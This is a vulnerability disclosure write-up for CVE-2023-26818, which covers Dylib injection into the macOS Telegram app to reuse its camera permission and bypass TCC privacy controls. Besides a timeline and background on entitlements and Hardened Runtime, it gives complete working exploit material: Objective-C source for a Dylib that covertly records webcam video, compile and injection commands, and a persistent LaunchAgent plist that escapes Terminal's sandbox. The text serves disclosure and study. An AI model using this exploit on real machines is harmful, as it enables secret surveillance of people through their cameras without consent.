Preface

Let’s dive into a sneaky flaw in the Telegram app on macOS that lets us inject a Dynamic Library (Dylib). We’ll cover some essential macOS concepts to help you grasp how we spotted this weakness and crafted a clever exploit to hijack your webcam, riding on the permissions Telegram was already granted. You’ll learn how this exploit gives you a local privilege escalation by tapping into the camera.

Here’s something interesting about macOS: even the mighty Root user can’t access your microphone or start recording your screen unless the app has your explicit consent. This feature, accessible via System Preferences, ensures your privacy isn’t compromised without you knowing.

In this post, we’ll guide you through some fundamental macOS concepts, identify the Telegram app’s vulnerability, write a crafty Dylib to access the camera, and save the footage. Plus, we’ll show you how to break out of the Terminal’s sandbox using LaunchAgent to orchestrate a local privilege escalation. Ready? Let’s go!

Here’s a timeline of our exploration:

  • 03/02/2023: Vulnerability discovery.
  • 03/02/2023 - 16/03/2023: Multiple emails sent to security@telegram.org (sadly, none addressed yet).
  • 10/02/2023: Vulnerability reported to MITRE.
  • 26/03/2023: Reached out to VINCE for help in coordinating with Telegram for vulnerability remediation and disclosure.
  • 05/04/2023: CVE-2023-26818 assigned—CVE reserved for disclosure.
  • 15/05/2023: Grace period with VINCE expires, and the vulnerability disclosure day arrives.

Background

In macOS, the Transparency, Consent, and Control (TCC) framework manages access to “privacy-protected” zones. Your authorization to access these areas is collected either by user consent or by detecting the user’s intent through a specific action.

Entitlements

Entitlements are special permissions granted to a binary, allowing it to perform certain privileged actions. For instance, if an app wants to access your microphone, it must be signed with the right entitlement and must receive your approval the first time it tries to access the mic.

To dig deeper into entitlements, check out Apple’s official documentation: Apple Developer Entitlements

Hardened Runtime

According to Apple, Hardened Runtime is designed to keep software safe from exploits such as code injection, DLL hijacking, and process memory tampering, all thanks to System Integrity Protection (SIP).

This feature strengthens the security of “hardened” apps. While iOS mandates the Hardened Runtime for App Store submissions, macOS isn’t as strict.

The Hardened Runtime adds layers of protection to binaries against various threats like code or dylib injections, or external access to a process’s memory. However, developers can tweak these security settings using specific entitlements to relax the rules for specific functionalities.

For example, using com.apple.security.cs.allow-dyld-environment-variables, a binary can accept Dylib injections via environment variables. Still, if the binary is hardened, you can’t inject an unsigned library unless you also include com.apple.security.cs.disable-library-validation, which bypasses Dylib signature checks. This setting is often used in apps that support third-party plugins.

DYLD_INSERT_LIBRARIES

This environment variable lists libraries to load before an application starts, allowing for some interesting exploits:

  1. When the application isn’t “Hardened Runtime,” you can inject a Dylib using this environment variable.
  2. If it is hardened, and has the entitlements:
    • “Disable-library-validation,” enabling any Dylib to run without checking its signature.
    • com.apple.security.cs.allow-dyld-environment-variables, which eases Hardened Runtime restrictions, enabling DYLD_INSERT_LIBRARIES.

By downloading Telegram from the App Store, we can inspect its signature and entitlements using the codesign command:

Code Sign Example

Notice that the “Code Directory” lacks the “hardened” flag, indicating that Telegram isn’t hardened for macOS. So, we can use DYLD_INSERT_LIBRARIES without worrying about entitlements, as seen at the end of the codesign output in XML format.

Creating the Dylib

To perform a Dylib injection, we’ll first create one using Objective-C. Our next step is to write a Dylib that captures video from the camera and saves it to disk.

Let’s start by creating a new file named telegram.m:

#import <Foundation/Foundation.h>

attribute((constructor))
static void telegram(int argc, const char **argv) {
NSLog(@"[+] Dynamic library loaded into %@", argv[0]);
}

We begin by printing a message to confirm successful Dylib loading. The attribute((constructor)) ensures our function runs before the main function of the application receiving the injection—Telegram, in this case.

Compile this library using gcc:

$ gcc -dynamiclib -framework Foundation telegram.m -o telegram.dylib

Include the Foundation framework with gcc since we’re using it for logging.

Load the compiled library with DYLD_INSERT_LIBRARIES:

$ DYLD_INSERT_LIBRARIES=telegram.dylib /Applications/Telegram.app/Contents/MacOS/Telegram

Success! You’ll see:

[+] Dynamic library loaded into /Applications/Telegram.app/Contents/MacOS/Telegram

Trying DYLD_INSERT_LIBRARIES on a hardened binary without matching entitlements won’t work. For instance, with Safari:

DYLD_INSERT_LIBRARIES=telegram.dylib /Applications/Safari.app/Contents/MacOS/Safari

No output appears, as Safari is hardened. Now that we’ve loaded our Dylib, let’s code it to capture 3 seconds of video from the camera and save it.

Here’s the full code:

#import <Foundation/Foundation.h>
#import <AVFoundation/AVFoundation.h>

@interface VideoRecorder : NSObject <AVCaptureFileOutputRecordingDelegate>

@property (strong, nonatomic) AVCaptureSession *captureSession;
@property (strong, nonatomic) AVCaptureDeviceInput *videoDeviceInput;
@property (strong, nonatomic) AVCaptureMovieFileOutput *movieFileOutput;

- (void)startRecording;
- (void)stopRecording;

@end

@implementation VideoRecorder

- (instancetype)init {
  self = [super init];
  if (self) {
  [self setupCaptureSession];
  }
  return self;
  }

- (void)setupCaptureSession {
  self.captureSession = [[AVCaptureSession alloc] init];
  self.captureSession.sessionPreset = AVCaptureSessionPresetHigh;

  AVCaptureDevice *videoDevice = [AVCaptureDevice defaultDeviceWithMediaType:AVMediaTypeVideo];
  NSError *error;
  self.videoDeviceInput = [[AVCaptureDeviceInput alloc] initWithDevice:videoDevice error:&error];

  if (error) {
  NSLog(@"Error setting up video device input: %@", [error localizedDescription]);
  return;
  }

  if ([self.captureSession canAddInput:self.videoDeviceInput]) {
  [self.captureSession addInput:self.videoDeviceInput];
  }

  self.movieFileOutput = [[AVCaptureMovieFileOutput alloc] init];

  if ([self.captureSession canAddOutput:self.movieFileOutput]) {
  [self.captureSession addOutput:self.movieFileOutput];
  }
  }

- (void)startRecording {
  [self.captureSession startRunning];
  NSString *outputFilePath = [NSTemporaryDirectory() stringByAppendingPathComponent:@"recording.mov"];
  NSURL *outputFileURL = [NSURL fileURLWithPath:outputFilePath];
  [self.movieFileOutput startRecordingToOutputFileURL:outputFileURL recordingDelegate:self];
  NSLog(@"Recording started");
  }

- (void)stopRecording {
  [self.movieFileOutput stopRecording];
  [self.captureSession stopRunning];
  NSLog(@"Recording stopped");
  }

#pragma mark - AVCaptureFileOutputRecordingDelegate

- (void)captureOutput:(AVCaptureFileOutput *)captureOutput
  didFinishRecordingToOutputFileAtURL:(NSURL *)outputFileURL
  fromConnections:(NSArray<AVCaptureConnection *> *)connections
  error:(NSError *)error {
  if (error) {
  NSLog(@"Recording failed: %@", [error localizedDescription]);
  } else {
  NSLog(@"Recording finished successfully. Saved to %@", outputFileURL.path);
  }
  }

@end

__attribute__((constructor))
static void telegram(int argc, const char **argv) {
VideoRecorder *videoRecorder = [[VideoRecorder alloc] init];

    [videoRecorder startRecording];
    [NSThread sleepForTimeInterval:3.0];
    [videoRecorder stopRecording];

    [[NSRunLoop currentRunLoop] runUntilDate:[NSDate dateWithTimeIntervalSinceNow:1.0]];
}

Compile it again with gcc:

$ gcc -dynamiclib -framework Foundation -framework AVFoundation telegram.m -o telegram.dylib

Inject the Dylib using DYLD_INSERT_LIBRARIES as before, and when you run Telegram, this pops up:

"Terminal" would like to access the camera.

Oops! It seems like Terminal, not Telegram, is asking for camera access. Here’s why:

When apps run via Terminal, they inherit its sandbox profile. Terminal ends up blocking camera access.

To escape Terminal’s sandbox, we’ll use LaunchAgents to run processes in the background.

Create a file named com.telegram.launcher.plist under ~/Library/LaunchAgents, defining the LaunchAgent in XML and setting DYLD_INSERT_LIBRARIES:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
       <key>Label</key>
        <string>com.telegram.launcher</string>
        <key>RunAtLoad</key>
        <true/>
        <key>EnvironmentVariables</key>
        <dict>
          <key>DYLD_INSERT_LIBRARIES</key>
          <string>/tmp/telegram.dylib</string>
        </dict>
        <key>ProgramArguments</key>
        <array>
          <string>/Applications/Telegram.app/Contents/MacOS/Telegram</string>
        </array>
        <key>StandardOutPath</key>
        <string>/tmp/telegram.log</string>
        <key>StandardErrorPath</key>
        <string>/tmp/telegram.log</string>
</dict>
</plist>

Now, we’ll run the LaunchAgent with:

$ launchctl load com.telegram.launcher.plist

Since Telegram is defined with a Sandbox profile, the file will be saved in a path relative to the Sandbox profile. We can see the logs and where the recording was saved if we look at /tmp/telegram.logs.

$ cat /tmp/telegram.log
2023-05-15 12:28:49.691 Telegram[84946:735528] Recording started
2023-05-15 12:28:52.808 Telegram[84946:735528] Recording stopped
2023-05-15 12:28:52.814 Telegram[84946:735528] Recording finished successfully.
Saved to /var/folders/0k/f6bdvnb52kb1wqkq2qgd07nh00mkw1/T/ru.keepcoder.Telegram/recording.mov

It seems that we succeeded in injecting the Dylib and the recording file was saved successfully. This means that we were able to use the permissions granted to Telegram by injecting Dylib and record the user. It should be noted that even if we had root access to the system, we would still be limited in opening the microphone and camera. Therefore, using a vulnerability of a third-party application can grant us additional permissions and allow us to bypass Apple’s privacy mechanism.

To summarize, we learned about the concept of the TCC mechanism in macOS and its importance to user privacy. We covered basic concepts that included Hardened Runtime, Entitlements, and Dylib. We created a new Dylib file in Objective-C that captures video from the camera for 3 seconds and saves the recording to a file. We bypassed the Sandbox restrictions of the terminal by defining a LaunchAgent. We saw that the file was saved in a relative location to the Telegram Sandbox profile, and we located it by viewing logs created as part of the Dylib development process.